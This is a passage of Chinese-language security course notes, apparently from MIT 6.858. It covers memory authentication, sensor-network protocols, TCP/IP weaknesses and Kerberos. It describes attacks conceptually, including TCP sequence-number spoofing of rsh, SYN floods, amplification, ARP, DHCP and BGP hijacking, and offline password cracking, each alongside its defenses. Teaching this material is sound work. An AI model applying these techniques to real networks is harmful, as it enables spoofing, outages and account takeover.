无树结构的内存认证:Lhash 专为需要在一系列内存操作之后进行完整性检查的应用程序设计(与树方案中的每个内存操作进行检查相反)。它使用多重集哈希函数在运行时维护内存位置的写入和读取日志,称为 WriteHash 和 ReadHash。这些日志存储在芯片上。在初始化时,WriteHash 计算在需要认证的内存区域中属于内存块的内存块上。当执行芯片外写入或从缓存中驱逐脏缓存块时,WriteHash 在运行时更新。WriteHash 随时反映芯片外内存状态。当执行芯片外读取或将块带入缓存时,ReadHash 会更新。要检查一系列操作的完整性,需要读取属于内存区域的所有块,之后 ReadHash 应该等于 WriteHash。

多重集哈希函数的要求:压缩(保证我们可以将哈希存储在有限的内存中)、可比性(一个比较哈希的概率算法,因为多重集不总是哈希到相同的值)、增量性(将多重集的哈希相加得到多重集的并集的哈希)、以及多重集碰撞抗性(计算上不可行找到两个不同的多重集哈希到相似哈希的)。

相关主题:

相关主题:数据认证对称多处理器:需要考虑在缓存到缓存传输中进行总线事务认证,这在缓存一致性协议中是必需的,参见图 8。

相关主题:如何利用不受信任的服务器为大量目录提供可信存储,其中每个目录中的文件可能由几个不同设备访问和更新,这些设备可能在不同时间离线,并且除了通过不受信任的服务器(在不受信任的网络上)之外,它们可能无法相互通信。多用户网络文件系统 SUNDR 提供了对分叉攻击的保护,这是一种攻击形式,其中服务器使用重放攻击使不同用户对系统的当前状态有不同的视图。然而,它并不会立即检测到分叉攻击。相反,它提供分叉一致性,这基本上确保系统服务器要么行为正确,要么其故障或恶意行为将在稍后的某个时刻被检测到,当用户能够相互通信时(例如,每天晚上一次)。如果不受信任的服务器具有可以信任的时间戳设备(例如,通过使用嵌入式可信平台模块),则可以立即检测到分叉和重放攻击。

相关主题:云存储。客户端希望确保其数据的副本存在。检索性证明(POF)是服务器生成的包含证据的短消息,证明客户端数据的正确版本存储在服务器上。这使客户能够有效地检查其数据是否得到充分备份(查看有关 T-mobile 数据丢失的最新消息!)。

相关主题:稀疏内存。通过使用经过身份验证的搜索树,可以生成一个证明,证明对应于加密地址的叶子不存在。这可以防止存储值的存在性被否认(稀疏内存所需),重放攻击和未经授权的访问。

无线传感器网络(Marten van Dijk 的笔记)

阅读:A. Perrig, R. Szewczyk, J.D. Tygar, V. Wen, and D.E. Culler, "SPINS: Security Protocols for Sensor Networks", Wireless Networks 8, 521-534, 2002.

模型(假设、安全需求、可能的威胁):

什么是传感器网络?成千上万的小传感器形成自组织的无线网络。传感器具有有限的处理能力、存储、带宽和能量(这降低了生产成本)。例如,使用 TinyOS,一个小型的事件驱动操作系统,见表 1。如果第三方可以读取或篡改传感器数据,会引发严重的安全和隐私问题。

例子:应急响应信息,能源管理,医疗监测,物流和库存管理,战场管理。

无线传感器网络(WSN)和移动自组织网络(MANET)之间有什么区别?WSN 中的传感器节点数量可以比 MANET 中的节点数量大几个数量级。传感器节点密集部署。传感器节点容易发生故障。WSN 的拓扑结构变化非常频繁。传感器节点主要使用广播通信范式,而大多数 MANET 基于点对点通信。传感器节点在处理能力、存储、带宽和能量方面受限。

传感器节点的组成部分是什么?带有传感器和模数转换器(ADC)的感知单元。带有存储器的处理器。收发器。电源单元。

基站的功能是什么?更多的电池电力,足够的内存,与外部网络通信的手段。

信任假设是什么?个体传感器不可信任。已知所有传感器中被损坏的比例存在上限。通信基础设施不可信任(除了消息以非零概率传递到目的地)。传感器节点信任它们的基站。每个节点信任自己。

什么是协议栈?物理层:简单但稳健的调制、传输和接收技术;负责频率选择、载波频率生成、信号检测、调制。数据链路层:介质访问控制(MAC)协议必须具有节能功能,并能够最小化与邻居广播的冲突,无线多跳自组织网络中的 MAC 协议创建网络基础设施(由于节点移动性和故障导致拓扑结构变化,周期性传输信标允许节点创建路由拓扑),并在传感器节点之间有效共享通信资源(已提出固定分配和随机访问版本),数据链路层还实现错误控制和数据加密 + 安全。网络层:路由传输层提供的数据,与外部网络进行互联,设计原则是功耗效率,数据聚合仅在不妨碍传感器节点协作努力时才有用,基于属性的寻址和位置感知。传输层:在应用需要时帮助维持数据流,特别是当系统计划通过互联网或其他外部网络访问时。应用层:大部分尚未探索。

什么是性能指标?容错性或可靠性:是指在没有传感器节点故障(非敌对性,如缺乏电力、物理损坏、环境干扰)的情况下维持传感器网络功能的能力,它被建模为泊松分布 e^{-lambdat},以捕捉在时间间隔(0,t)内没有故障的概率。可扩展性:支持更大网络的能力,对网络规模增加后仍具有灵活性,能够利用更密集的网络(密度表示每个节点传输半径内的节点数量;它等于 Npi*R²/A,其中 N 是区域 A 中散布的传感器节点数量,R 是无线传输范围)。效率:存储复杂性(存储证书、凭证、密钥所需的内存量),处理复杂性(安全原语和协议所需的处理器周期数量),通信复杂性(为了提供安全而交换的消息数量和大小的开销)。网络连通性:两个相邻传感器能够共享密钥的概率(为了提供预期功能,需要足够的密钥连通性)。网络弹性:抵抗节点被捕获的能力;对于每个 c 和 s,c 受损传感器能够破坏 s 链接的概率是多少(通过重建相应的共享秘钥)?

安全性要求是什么?可用性:确保整个 WSN 提供的服务,任何部分或单个节点在需要时必须可用。安全服务的退化:随着资源可用性的变化,能够改变安全级别。生存能力:在断电、故障或攻击的情况下提供最低级别的服务(需要阻止拒绝服务攻击)。

身份验证:在授予有限资源或透露信息之前,对其他节点、簇首和基站进行身份验证。完整性:确保消息或实体不被篡改(数据完整性通过数据认证实现)。新鲜度:确保每条消息都是新鲜的、最新的(检测重放攻击)。

机密性:提供无线通信通道的隐私(通过监听或隐蔽通道防止信息泄露),需要语义安全,确保窃听者对明文没有任何信息,即使它看到相同明文的多次加密(例如,将明文与随机比特串连接,但这需要发送更多数据并消耗更多能量)。不可否认性:防止恶意节点隐藏其活动(例如,它们无法否认其签署的陈述的有效性)。

解决方案(SNEP、微型 TESLA、密钥分发):

设计安全性的限制是什么?安全性需要限制处理能力的消耗。有限的电源供应限制了密钥的寿命。工作内存无法保存用于 RSA 等非对称加密算法的变量。创建和验证签名的开销很高。需要限制通信。

SNEP:A 和 B 共享一个主密钥,用于派生加密密钥 K_AB 和 K_BA,以及 MAC 密钥 K'AB 和 K'BA。A 和 B 同步计数器值 C_A=C_B。从 A 到 B 的通信:{Data}[K_AB,C_A] = Data XOR E(C_A) 以及 MAC_{K'AB}({Data}[K_AB,C_A]||C_A),参见公式(1)。MAC 计算如图 3 所示,使用 CBC 模式。这提供了语义安全、数据认证、弱新鲜度(如果消息验证正确,接收者知道消息必须在其(接收者)正确接收的上一条消息之后发送),低通信开销(计数器值不会被发送)。

强新鲜度:参见公式(2),如果 B 从 A 请求消息,那么 B 向 A 传输一个随机数,并且 A 将此随机数包含在其发送给 B 的通信的 MAC 中。如果 MAC 验证正确,B 知道 A 在 B 发送请求后生成了响应。

同步计数器值:请参阅第 5.2 节中的简单引导协议,随时可以使用具有强新鲜度的上述协议来请求当前计数器值。为防止拒绝服务攻击,在上述协议中允许每个加密消息传输计数器,或者附加另一个不依赖于计数器的短 MAC 到消息中。

微型 TESLA:经过身份验证的广播需要使用非对称机制,否则任何被篡改的接收器都可以伪造来自发送者的消息。如何在没有非对称加密的情况下完成这项工作?通过延迟揭示对称密钥引入不对称性。思路:基站使用一个对传感器节点未知的密钥 K 的 MAC_K(K 是密钥链的一个密钥,K_i = F(K_{i+1}),其中 F 是单向函数)来承诺给基站(在密钥链中,密钥是自认证的),密钥链通过基站的延迟揭示来揭示。密钥揭示时间延迟大约为几个时间间隔,大于任何合理的往返时间。接收器节点知道密钥揭示时间。每个接收器节点需要拥有密钥链的一个真实密钥作为对整个链的承诺。发送基站和接收器节点松散地进行时间同步。使用共享秘密 MAC 密钥的简单引导协议,请参阅第 5.5 节。

节点无法存储密钥链的密钥:节点可以通过基站广播数据,或者使用基站外包密钥链管理。

密钥设置:基站和节点共享的主密钥。我们如何进行密钥分发?已经有很多研究提供了具有良好弹性、连通性和可扩展性的解决方案。有争议的解决方案:密钥感染;引导不需要安全,而是关于在静态网络中进行安全维护。思路:明文传输对称密钥,并使用保密放大(以及其他机制)。在保密放大中,两个节点 A 和 B 使用第三个相邻节点 C 来建立 A 和 B 之间的通信。这个通信通道由密钥 K_{A,C} 和 K_{C,B} 保护。它用于交换一个随机数 N。A 和 B 通过 H(K_{A,B}||N) 替换他们的密钥 K_{A,B},并验证他们是否可以使用这个新密钥。如果 K_{A,B} 被对手知道,但密钥 K_{A,C} 和 K_{C,B} 不知道,那么对手无法提取新的 K_{A,B}!这个解决方案已被提议用于战场管理应用。

相关主题:RFID 标签,社交网络,TinyDB。

TCP/IP 安全

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站上发布的内容。

网络安全的威胁模型

  • 对手可以拦截/修改网络流量。

  • 对手可以发送数据包。

  • 对手完全控制自己的机器。

  • 对手可以参与协议(通常)。

    • 通常不可行将坏人排除在大型系统之外。

窃听数据包。

  • 重要的是要记住,但相对来说已经被很好地理解。

  • 通过网络发送的任何数据都可以被对手观察。

发送/伪造数据包。

  • IP 允许发送方构造任意数据包。

  • 特别是,发送方可以填写任何源地址。

  • 可以假装数据包来自任何地址。

  • 对手可以利用这个做什么?

回顾一下"TCP/IP 协议套件中的安全问题"

论文在这里

  • 易受攻击:触发某些实现中的错误。

  • 作者对这类问题不太感兴趣。

  • 相反,希望看看"协议级问题"

  • 什么是协议级问题?

    • 设计固有的问题。

    • 正确的实现会有这个问题。

  • 为什么这么重要?

    • 可以修复实现中的错误。

    • 要修复协议级错误,可能需要更改协议!

      • 可能与现有系统不兼容。

      • (正如我们将看到的,有时可能提出兼容的修复方法。)

TCP 序列号攻击

  • 标准握手(第 2 页右侧的图):

    • C: 源=C, 目的=S, SYN(SNc)

    • S: 源=S, 目的=C, SYN(SNs), ACK(SNc)

    • C: 源=C, 目的=S, ACK(SNs)

    • C: 源=C, 目的=S, 数据(SNc), ACK(SNs)

  • 对手如何知道数据来自客户端?

    • 只有客户端应该能够接收第二条消息。

    • 因此,只有客户端应该知道序列号

    • 第三条消息将被拒绝,除非具有正确的 SNs 值。

  • 假设对手 A 想要模拟从 C 到 S 的连接。(假设 A 知道 C 的 IP 地址--在实践中通常不是大问题。)

    • A: 源=C, 目的=S, SYN(SNc)

    • S: 源=S, 目的=C, SYN(SNs), ACK(SNc) -- 但这将发送到 C,而不是 A

    • A: 源=C, 目的=S, ACK(SNs) -- 但如何猜测 SNs?

    • A: 源=C, 目的=S, 数据(SNc)

  • 对手从哪里获取 SNs?

    • TCP 规范建议了一种选择它们的特定方式。

    • 特别是,以大约恒定的速率增加:每秒约 250,000 个。

    • 为什么这么具体?

      • 与重用连接(源/目的端口号)的微妙交互。

      • 希望避免旧数据包(来自过去的连接)干扰新连接。

      • 参考:RFC 1185 附录

    • 如果对手知道最近的序列号,就可以猜测下一个序列号。

      • 实现实际上会每秒增加 ISN,使其易于猜测。
  • S 发送给 C 的真实数据包发生了什么(第二个数据包)?

    • C 会假设数据包来自旧连接,发送RST作为响应。

    • 即使发送了RST,对手也可以在RST到达之前尝试竞争。

    • 幸运的是,还有另一个奇怪的错误;稍后会讨论。

  • 但是为什么序列号攻击会变成安全问题?

1. 伪造依赖 IP 地址的应用程序的连接

  • 例如,伯克利远程访问工具:rlogin、rsh、rcp。

  • 如果连接来自“受信任”系统,则允许无密码登录。

    • 要求连接来自受信任的源端口(512-1023)。

      • 为什么有这个要求?
    • 受信任的 rlogin/rsh/rcp 程序发送客户端的用户名。

    • 如果用户名与服务器上的帐户相同,则无需密码。

    • 例如:"rsh athena.dialup.mit.edu ls"。

  • 对 TCP 层提供的内容做出了错误的假设。

    • 假设来自 IP 地址的 TCP 连接意味着它确实来自该主机。
  • 如果对手可以猜测 SN,则可以模拟来自受信任主机的连接。

    • 使用 rsh 发出任何命令。

    • 可以更改用户的.rhosts 文件以允许从攻击者主机登录。

    • 然后直接连接,而无需模拟连接。

  • 基于主机的身份验证似乎是一个糟糕的计划。

    • 特别是依赖于主机上的“受信任”与“不受信任”端口。

    • 今天仍在使用:例如,用于传出邮件的 SMTP。

  • 实际上,rlogin 身份验证甚至更糟:他们通过主机名进行身份验证。

    • 主机名从哪里来?反向 DNS 查找。

    • 例如,18.26.4.9:查找 9.4.26.18.in-addr.arpa 的 PTR 记录。

    • 该域的所有者可以将 PTR 记录设置为任何主机名!

      • (可以稍微改进:检查主机是否解析为相同的地址。)
    • 类似的问题出现在日志文件中:记录解析(不受信任)主机名。

2. 拒绝服务攻击:连接重置

  • 一旦我们知道 SNc,就可以发送一个 RST 数据包。

  • 更糟糕的是:服务器将接受任何在窗口内的 SNc 值的 RST 数据包。

  • 具有大窗口(~32K=2¹⁵)时,只需要 2³²/2¹⁵ = 2¹⁷ 次猜测。

连接重置有多糟糕?

  • 此类攻击的一个目标是 BGP 路由器之间的 TCP 连接。

  • 导致路由器假定链路故障,可能会影响几分钟的流量。

  • 解决方案:

    • TTL 黑客(255):通过在 TCP 数据包中设置TTL = 1,确保 BGP 节点只与直接邻居通信

    • MD5 头部身份验证(非常专门用于路由器之间的链接)。

3. 劫持现有连接

  • 类似地,还可以向现有连接中注入数据。

  • 对手只需要知道当前的 SNc。

如何缓解这个问题?

  • 基线:不要依赖 IP 地址进行身份验证。

    • 在更高级别使用加密/身份验证。

    • 下一讲:Kerberos。

    • 但是,我们仍然希望为 TCP 解决当前的情况。

  • ISP 可以过滤其客户发送的数据包。

    • 今天经常为小客户执行,但不一致。

    • 对于具有复杂网络、多重主机等的客户来说并不直接。

如何修补 TCP?

  • 不能以完全随机的方式选择 ISN,而不违反 TCP 规范。

    • 可能会破坏连接(端口)重用的保证。

    • ISN 是 32 位,意味着在约 2¹⁶ = 65,000 个连接后,您可能会发生冲突并重用与旧连接匹配的 ISN。

      • 旧连接的数据包可能被解释为新连接的一部分
    • 因此,最好 ISNs 递增 以环绕方式递增,以使碰撞变得不太可能。

  • 随机增量?

    • 应保留增量速率(~250k/秒)。

    • 没有大量的随机性(比如,每次增加低 8 位)。

  • 旁注:必须小心我们如何生成随机数!

  • 然而,不同的源/目的地对的 SN 值永远不会相互作用!

  • 因此,可以为每个源/目的地对选择使用随机偏移量来选择 ISN。

    • 不错的技巧:ISN = ISN_oldstyle + F(srcip, srcport, dstip, dstport, secret)

    • F是某个伪随机函数;大致上,可以认为是 SHA1。

    • 不需要额外的状态来跟踪每个连接的 ISNs。

序列号攻击仍然相关吗?

  • 大多数操作系统实现了上述每个连接 ISN 的解决方法。

    • 参考:Linux secure_tcp_sequence_number in net/core/secure_seq.c
  • 但其他协议遭受几乎相同的问题--例如,DNS。

    • DNS 在 UDP 上运行,没有序列号,只有端口,目的端口固定(53)。

    • 如果对手知道客户端正在进行查询,可以伪造响应。

      • 只需要猜测 src 端口,通常是可预测的。
    • 问题在 2008 年变得流行,尽管在此之前 djb 已经很好地理解了。

    • 解决方案:仔细利用所有可能的随机性!

      • DNS 查询包含 16 位查询 ID,并且可以随机化约 16 位 src 端口。
    • 解决方案:部署 DNSSEC(签名的 DNS 记录,包括缺失记录)。

      • 一个问题:密钥分发(谁被允许为每个域签名?)

      • 另一个问题:名称枚举(以签署“没有这样的名称”响应)。

      • 部分通过 NSEC3 缓解:http://tools.ietf.org/html/rfc5155

      • 采用缓慢,没有太多升级的动力,非微不足道的成本。

      • 成本包括性能和管理(密钥/证书管理)。

SYN 洪水攻击

  • 请注意,服务器在接收到 SYN 数据包时必须存储一些状态。

    • 它需要存储发送给该客户端的SN_s序列号

    • 被称为半开放连接:回复了 SYN-ACK,等待 ACK。

  • 如果它从许多来源接收到 SYN 消息会怎样?

    • 许多实现尝试为所有半开放连接保留状态。

    • 但最终会耗尽内存,必须拒绝连接!

  • 恼人的问题:我们甚至不知道我们为谁保留状态!

    • 对手可能有一个单一主机,并从许多 src IP 生成 SYN。
  • 拒绝服务攻击:客户端+服务器资源之间存在巨大的不对称性。

    • 客户端伪造一个单个数据包(少于 1 毫秒)。

    • 服务器会浪费内存直到连接超时(几分钟)。

防御 SYN 洪水攻击:SYN cookies。

  • 思路: 使服务器无状态,直到收到第三个数据包(ACK)。

  • 这为什么很棘手?

    • 需要确保对手无法从任何源地址捏造一个连接。

    • 以前,这是通过存储 ISNs 并期望在 ACK 中收到来实现的。

  • 使用一点密码学来实现类似的目标。

  • 将服务器端状态编码到序列号中。

    • ISNs = MAC_k(源/目的地址+端口,时间戳)|| 时间戳

    • 时间戳是粗粒度的(例如,分钟)。

    • 服务器存储秘钥k,不与其他人共享。

  • 当发送 SYN-ACK 响应时,服务器计算如上述的序列号。

  • 服务器可以通过验证 ACK 的序列上的哈希(MAC)来验证状态是否完整。

    • 不太理想:需要考虑时间戳内的重放攻击。
  • 另一个问题:如果第三个数据包丢失,没有人会重传。

    • 只有在服务器先发言的协议中才会有问题。

    • 因为服务器不再保留连接状态,所以它不知道有一个悬挂连接,所以在等待客户端的 ACK 太久后,它永远不会重新传输其 SYN 消息给客户端。

    • 同样,客户端不会知道其 ACK 数据包丢失了(它从未被 ACK 回来,而且由于客户端正在等待服务器发送第一个消息(假设),客户端也不会发送任何其他数据)。

    • 在 DoS 攻击的情况下可能不是一个大问题。

另一个 DoS 攻击向量:带宽放大。

  • 向网络的广播地址发送 ICMP 回显请求(ping)数据包。

    • 例如,18.26.7.255。

    • 以前,你会从网络上的所有机器收到 ICMP 回显回复。

    • 如果你伪造一个来自受害者地址的数据包怎么办?受害者会收到所有回复。

    • 在一个快速网络上找到一个有 100 台机器的子网:100 倍放大!

  • 我们能修复这个问题吗?

    • 路由器现在阻止“定向广播”(发送到广播地址的数据包)。
  • 现代变种:DNS 放大。

  • 我们能修复 DNS 攻击吗?

    • 实际上相当困难!根域名服务器必须回答任何人的查询。
  • 如果我们有机会从头开始重新设计 DNS 会怎样?

    • 一个可能的计划:查询必须和响应一样大(需要填充)。

    • 一般技术:迫使客户端至少花费同样多的工作。

TCP 拥塞控制。

  • 接收方可以通过 ACK 未接收的段来促使发送方加速。

  • 或者发送更多的 ACK(例如,每个字节发送一个 ACK 而不是每个数据包)。

路由协议:对参与者过于信任。

  • ARP:在单个以太网网络内。

    • 要发送 IP 数据包,需要路由器/下一跳的以太网 MAC 地址。

    • 地址解析协议(ARP):广播一个请求目标 MAC 地址的请求。

    • 任何人都可以监听广播,发送回复;没有认证。

    • 对手可以冒充路由器,拦截数据包,甚至在交换网络上。

    • 潜在解决方案:让交换机负责 ARP。

      • 没有广泛部署:需要仔细管理 MAC/IP 地址。
  • DHCP:同样,在一个以太网网络中。

    • 客户端通过发送广播请求来请求 IP 地址。

    • 服务器响应,没有认证(一些规范存在但并不广泛使用)。

      • 如果你刚刚插入一个网络,可能不知道会发生什么。
    • 很多字段:IP 地址,路由器地址,DNS 服务器,DNS 域列表,..

    • 对手可以冒充网络上的新客户端的 DHCP 服务器。

      • 可以选择他们的 DNS 服务器,DNS 域,路由器等。
    • 同样,对服务器的 DoS 攻击:请求大量租约,来自许多 MAC 地址。

    • 解决方案:让交换机负责 DHCP(将请求转发给真实服务器)。

      • 没有广泛部署:需要仔细的交换机配置。

      • 在无线网络上更加复杂。

  • BGP:全球范围内(类似于论文中描述的 RIP 攻击)。

    • 任何 BGP 参与者路由器都可以宣布到一个前缀的路由。

    • 如果对手有一个路由器怎么办?可以宣布任何前缀或路由。

    • 这个问题还有意义吗?

      • 垃圾邮件发送者经常利用这一点:宣布一个未使用的地址,并发送垃圾邮件。

      • 绕过 IP 级别的垃圾邮件发送者黑名单:选择几乎任何 IP!

    • 如何解决?

      • SBGP:对路由公告进行加密签名。

      • 必须知道谁被允许宣布每个特定的 IP 前缀。

      • 需要有人为每个 IP 前缀分发密钥/证书。

      • 引导问题很棘手;也会有一些性能开销。

      • 有些进展,但仍未广泛部署。

还有许多其他问题。

  • 像重定向这样的 ICMP 消息:没有认证,基本上现在不再使用。

  • 暴露太多信息(netstat,SNMP,finger):大部分已修复。identd(“认证服务”):设计不佳,没有真正的认证。

  • 电子邮件:真正的问题,但目前没有实际解决方案。

    • 认证与授权。

    • 例如,PGP 无法解决垃圾邮件问题。

  • 协议中的密码:仅支持密码并不是很好。

    • 我们将在几周后讨论替代方案。
  • FTP 数据传输协议。

    • 服务器连接回客户端以向客户端发送文件。

    • 客户端告诉服务器要使用的 IP 地址和端口号。

    • 可以用来从服务器的 IP 进行端口扫描。

    • 可以用来从服务器的 IP 发送任何流量(嵌入文件中)。

      • 例如,回到 IP 认证问题:rlogin,垃圾邮件等。

对手如何知道你正在运行什么软件/协议?

  • 探测:

    • 检查系统是否在一个众所周知的端口上监听。

    • 协议/系统通常会发送初始的横幅消息。

    • nmap 可以通过测量各种实现特定的细节来猜测操作系统。

  • 使用 DNS 查找 IP 地址的主机名;可能会给出一些提示。

  • 猜测:假设系统存在漏洞,尝试利用漏洞。

对手如何知道要攻击的系统的 IP 地址?

  • 使用 traceroute 查找沿途的路由器,用于 BGP 攻击。

  • 也可以扫描整个互联网:只有 2³² 个地址。

    • 1 Gbps(100 MB/s)的网络链路,64 字节最小数据包。

    • 每秒约 1.5 百万个数据包。

    • 2³² = 40 亿个数据包在约 2500 秒内,或 45 分钟内。

    • zmap:这个的实现

为什么 TCP/IP 层的安全性如此不足?

  • 从历史上看,设计者并没有太担心安全性。

    • 即使 Bellovin 也说:“1989 年的互联网是一个更友好的地方”。

    • 最初的互联网有一小部分相对可信赖的用户。

    • 设计要求随时间改变。

  • 端到端论点在实践中发挥作用。

    • 无论如何必须在应用层提供安全性。

    • 在传输层上的事情足够“好”,可以让应用程序正常工作。

  • 一些修复确实被添加,但仅针对最严重的问题/更容易的解决方案。

如何提高安全性?

  • 对 TCP 实现的协议兼容修复。

  • 防火墙。

    • 部分修复,但被广泛使用。

    • 问题:对手可能在防火墙网络内。

    • 问题:很难确定数据包是否“恶意”。

    • 问题:即使对于存在的字段(源/目的地),也很难进行身份验证。

    • TCP/IP 的设计与防火墙过滤技术不太匹配。

    • 例如,IP 数据包分段:TCP 端口在一个数据包中,有效载荷在另一个数据包中。

  • 在 TCP/IP 之上实现安全性:SSL/TLS,Kerberos,SSH 等。

    • 注意:这篇论文在加密与认证方面并不清晰。

    • 下一讲将更详细地讨论 Kerberos。

  • 使用密码学(加密、签名、MAC 等)。

    • 这是一个相当困难的问题:协议设计,密钥分发,信任等。
  • 有些安全性很难在顶层提供:DoS 抵抗,路由。

  • 部署替代协议:SBGP,DNSSEC。

Kerberos

注意:这些讲座笔记略有修改自 2014 年 6.858 课程网站上发布的笔记。

Kerberos 设置

  • 分布式架构,从单一的分时系统演变而来。

  • 许多提供服务的服务器:远程登录、邮件、打印、文件服务器。

  • 许多工作站,一些是公共的,一些是私有的。

  • 每个用户登录到自己的工作站,拥有根访问权限。

  • 对手可能也有自己的工作站。

  • 当时的替代方案:rlogin、rsh。

  • 目标:允许用户通过向服务器进行身份验证来访问服务。

  • 其他用户信息通过 Hesiod、LDAP 或其他目录分发。

  • 广泛使用:Microsoft Active Directory 使用 Kerberos(v5)协议。

信任模型是什么?

  • 所有用户、客户端、服务器都信任 Kerberos 服务器。

  • 其他机器之间没有先验信任。

  • 网络是不受信任的。

  • 用户信任本地机器。

Kerberos 架构

  • 中央 Kerberos 服务器,被所有各方信任(或至少在 MIT 被所有方信任)。

  • 用户、服务器之间有一个他们与 Kerberos 共享的私钥。

  • Kerberos 服务器跟踪每个人的私钥。

  • Kerberos 使用密钥实现客户端、服务器之间的相互身份验证

    • 术语:用户、客户端、服务器。

    • 客户端和服务器知道彼此的名称。

    • 客户端确信自己正在与服务器通信,反之亦然。

  • Kerberos 不提供授权(用户能否访问某些资源)。

    • 应用程序需要决定这一点。

为什么我们需要这个可信的 Kerberos 服务器?

  • 用户不需要在每台服务器上设置帐户、密码等。

总体架构图

 +-----------------------+
                  c, tgs         |                       |
  [ User: Kc ]  <-------->  [ Kerberos ]                 |
       ^      \                  |           Database:   |
       |       \                 |             c: Kc     |
       V        \    s           |             s: Ks     |
 [ Server: Ks ]  \-------->   [ TGS ]                    |
                                 |         KDC           |
                                 +-----------------------+ 

Kerberos 构造

从论文中得到的基本 Kerberos 构造:

  • 票证T_{c,s} = { s, c, addr, timestamp, life, K_{c,s} }

    • 通常使用K_s加密
  • 验证器A_c = { c, addr, timestamp }

    • 通常使用K_{c,s}加密

Kerberos 协议机制:

  • 对 Kerberos 数据库有两个接口:“Kerberos”和“TGS”协议。

  • 相当相似;少许差异:

    • 在 Kerberos 协议中,可以指定任何cs;客户端必须知道K_c

    • 在 TGS 协议中,客户端的名称是隐式的(来自票证)。

    • 客户端只需知道K_{c,tgs}来解密响应(而不是K_c)。

  • 客户端机器最初从哪里获取K_c

    • 对于用户,使用密码派生,实际上是使用哈希函数。
  • 为什么我们需要这两个协议?为什么不只使用“Kerberos”协议?

    • 客户端机器在获得 TGS 票证后可以忘记用户密码。

    • 我们可以只存储K_c并忘记用户密码吗?等效于密码。

命名

  • Kerberos 的关键之处:密钥与主体名称之间的映射。

  • 每个主体名称由(名称、实例、领域)组成

    • 通常写作名称.实例@领域
  • 哪些实体有主体?

    • 用户:名称是用户名,实例用于特殊权限(按照惯例)。

    • 服务器:名称是服务名称,实例是服务器的主机名。

    • TGS:名称是'krbtgt',实例是领域名称。

  • 这些名称在哪里使用/名称在哪里重要?

    • 用户记住他们的用户名。

    • 服务器根据主体名称执行访问控制。

    • 客户端选择他们期望与之交流的主体。

      • 类似于浏览器期望 HTTPS 的特定证书名称
  • 何时可以重复使用名称?

    • 对于用户名:确保没有 ACL 包含该名称,很困难。

    • 对于服务器(假设不在任何 ACL 上):确保用户忘记服务器名称。

    • 必须更改密钥,以确保旧票据对新服务器无效。

获取初始票据:"Kerberos" 协议

  • 客户端发送一对主体名称 (c, s),其中 s 通常是 tgs

  • 服务器回复 { K_{c,s}, { T_{c,s} }_{K_s} }_{K_c}

  • Kerberos 服务器如何验证客户端?

    • 不需要 -- 愿意回应任何请求。
  • 客户端如何验证 Kerberos 服务器?

    • 解密响应并检查票据是否有效。

    • 只有 Kerberos 服务器会知道 K_c

  • 这种方式与将密码发送到服务器相比有何优劣之处?

    • 密码不会通过网络发送,但更容易被暴力破解。
  • 为什么从 Kerberos/TGS 服务器的响应中两次包含密钥?

    • 响应中的 K_{c,s} 给予客户端访问这个共享密钥的权限。

    • 票据中的 K_{c,s} 应该让服务器确信密钥是合法的。

一般弱点: Kerberos 4 假设加密提供消息完整性。

一般弱点: 对手可以发动离线猜测密码攻击。

  • 典型密码的熵不高。

  • 任何人都可以向 KDC 请求使用用户密码加密的票据。

  • 然后尝试离线暴力破解用户密码:易于并行化。

  • 更好的设计:要求客户端与服务器互动以进行每次登录尝试。

一般弱点: DES 硬编码到设计中,数据包格式。

  • 当 DES 变得太弱时,难以切换到另一个加密系统。

  • DES 密钥空间太小:密钥仅为 56 位,2⁵⁶ 并不算大。

  • 现在破解 DES 很便宜($20--$200 通过 https://www.cloudcracker.com/)。

  • 对手如何利用这个弱点破解 Kerberos?

向服务器进行身份验证:"TGS" 协议

  • 客户端发送 ( s, {T_{c,tgs}}_{K_tgs}, {A_c}_{K_{c,tgs}} )

  • 服务器回复 { K_{c,s}, { T_{c,s} }_{K_s} }_{K_{c,tgs}}

  • 服务器如何根据票据对客户端进行身份验证?

    • 使用服务器的密钥解密票据。

    • 使用 K_{c,s} 解密验证器。

    • 只有 Kerberos 服务器可以生成票据(知道 K_s)。

    • 只有客户端可以生成验证器(知道 K_{c,s})。

  • 为什么票据中包含 csaddrlife

    • 服务器可以从票据中提取客户端的主体名称。

    • Addr 试图防止被盗票据在另一台机器上被使用。

    • 生命周期同样试图限制被盗票据的损害。

  • 网络协议如何使用 Kerberos?

    • 使用K_{c,s}加密/认证所有消息。

    • 邮件服务器命令、发送到打印机的文档、shell I/O 等。

    • 例如,在邮件服务器协议中的“DELETE 5”。

  • 谁生成认证器?

    • 对于每个新连接,客户端。
  • 为什么客户端需要发送认证器,除了票据之外?

    • 向服务器证明对手没有重放旧消息。

    • 服务器必须在内存中保留最近的几个认证器,以检测重放。

  • Kerberos 如何使用时间?如果时钟错误会发生什么?

    • 防止被盗票据永久使用。

    • 限制重放缓存的大小。

    • 如果时钟错误,对手可以使用旧票据或重放消息。

  • 客户端如何认证服务器?为什么这很重要?

    • 连接到文件服务器:想知道您获取的是合法文件。

    • 解决方案:服务器在接收到客户端的票据和认证器后可以发送{ timestamp + 1 }_{K_{c,s}}

一般弱点:相同的密钥K_{c,s}用于许多事情

  • 对手可以用K_{c,s}替换任何消息为其他消息。

  • 例如:跨多个会话的消息。

    • 认证器不证明K_{c,s}是新鲜的!

    • 对手可以将新的认证器与旧消息拼接在一起。

    • Kerberos v5 每次都使用新的会话密钥,在认证器中发送。

  • 例如:不同方向的消息

    • Kerberos v4 在数据包中包含了一个方向标志(c->s 或 s->c)

    • Kerberos v5 使用单独的密钥:K_{c->s}, K_{s->c}

如果用户连接到错误的服务器(MITM /网络钓鱼攻击的类比)会发生什么?

  • 如果服务器拦截数据包,了解用户连接到哪个服务。

  • 如果用户意外输入 ssh malicious.server 会发生什么?

    • 服务器了解用户的主体名称。

    • 服务器没有获取用户的 TGS 票据或K_c

    • 无法冒充用户给其他人。

如果 KDC 宕机会发生什么?

  • 无法登录。

  • 无法获取新票据。

  • 可以继续使用现有的票据。

认证到 Unix 系统。

  • 访问本地文件、进程时不涉及 Kerberos 协议。

  • 如果使用 Kerberos 登录,用户必须呈现合法的票据。

  • 如果用户使用用户名/密码(本地或通过 SSH 使用密码)登录会发生什么?

    • 用户知道自己提供的密码是否合法。

    • 服务器毫无所知。

  • 服务器可能受到攻击:

    • 用户通过 SSH 连接,输入用户名和密码。

    • 创建看起来合法的 Kerberos 响应,使用密码加密。

    • 服务器无法判断此响应是否真正合法。

  • 解决方案(如果服务器保持状态):服务器需要自己的主体、密钥。

    • 首先获取用户的 TGS,使用用户的用户名和密码。

